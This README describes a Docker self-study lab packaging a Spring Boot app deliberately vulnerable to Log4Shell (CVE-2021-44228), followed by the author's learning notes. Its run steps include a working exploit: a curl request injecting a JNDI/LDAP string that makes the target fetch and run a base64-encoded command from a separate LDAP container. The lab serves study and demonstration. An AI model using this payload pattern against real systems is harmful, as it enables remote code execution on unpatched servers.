Docker Self-Study and Log4Shell sample vulnerable application (CVE-2021-44228)
This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. It is meant as a newbie study into the ease of Docker, with a non-trivial example like Log4Shell. Therefore, most of the prior art is taken from Cygenta's demo https://www.cygenta.co.uk/post/your-own-log4shell-demo for study and tweaking.
Log4Shell is a major vulnerability in Log4Java 1 and 2 due to the design of very powerful JNDI "features" which belong to a more trusting era :) In short, log4j allows JNDI commands to be embedded and parsed in log statements, and by chaining a secondary vector such as another old favourite, LDAP in this example, a Java object can be loaded from the foreign LDAP service into the target which has the vulnerable log4j JNDI module.
The Cygenta demo here demonstrates an OS-level command "touch" which creates a new blank file on the target Linux OS. There is another https://github.com/mbechler/marshalsec that covers the LDAP-based exploit, and is POC'ed for Windows OS by https://github.com/many-fac3d-g0d/apache-tomcat-log4j The Windows version runs "start calc.exe" which launches the Windows Calculator on the host OS (aka yours, if using localhost)
Both are very interesting and very scary at how easy it is.
Key dependency is Log4j 2.14.1 (technically any version prior to 2.15.x will do)
Others are Java ecosystem platforms like spring-boot-starter-log4j2 2.6.1 which contains the old Log4j and JDK 1.8.0_181.
Docker images:
- denizenx/log4shell-vulnapp is my rebuild/refactor of https://github.com/christophetd/log4shell-vulnerable-app
- cygenta/log4jldap is the LDAP service hosting the Exploit
Run it:
-
Local network for target and LDAP host docker network create log4jnetwork
-
Run target straight from Docker Hub docker run --rm --network log4jnetwork --name vulnap -p 80:8080 denizenx/log4shell-vulnapp
-
Do a container check in /tmp BEFORE the exploit; you should see 3 temp files docker exec vulnap ls /tmp
-
Run the LDAP service hosting the exploit docker run --rm --network log4jnetwork --name log4jldapserver -p 1389:1389 -p 8888:8888 cygenta/log4jldap
-
Launch the HTTP Request to start the exploit curl.exe 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://log4jldapserver:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9DeWdlbnRhRGVtbw==}'
-
Do the container check in /tmp AFTER the exploit; you should see the CYGENTA addition docker exec vulnap ls /tmp
git clone this. The meat is in the Java source, and this README. Also, the Dockerfile only builds the target, and is a generic rip of the spring boot Dockerfile.
The MainController.java is the Web request processor, and that innocuous line logger.info("....") is what kicks off the internal aspect of the attack.
For the Docker self-study, I only recreated the vulnerable application, as it is sufficient for now to illustrate quite a bit of Docker (a different level of "Hello World!" heh)
Learning points:
- Docker: curious why the demo fails if log4jnetwork is not used, even though both are attached to the default Docket subnet (is it like an Access Point isolation for routers)
- Spring Boot: is very impressive for developers, but Docker-Compose is better for putting services together.
- Tomcat: is a btch and modding its official images are a trip to Hell: I tried to put log4j into a few and ultimately wasted time on CLASSPATHing Docker and Tomcat
- Exploits: are scary. After this exercise I have first-hand experience on only just Log4Shell... omg
- Exploits: I'm curious why the use of X-Api-Version, or "XML Configuration File Path" in the Windows demo work, but not when I try "User-Agent"?
- Windows Subsystem for Linux: this tripped me up a while testing the original demo. "curl" in Powershell is a bad imitation of "curl.exe" from WSL
https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://www.cygenta.co.uk/post/your-own-log4shell-demo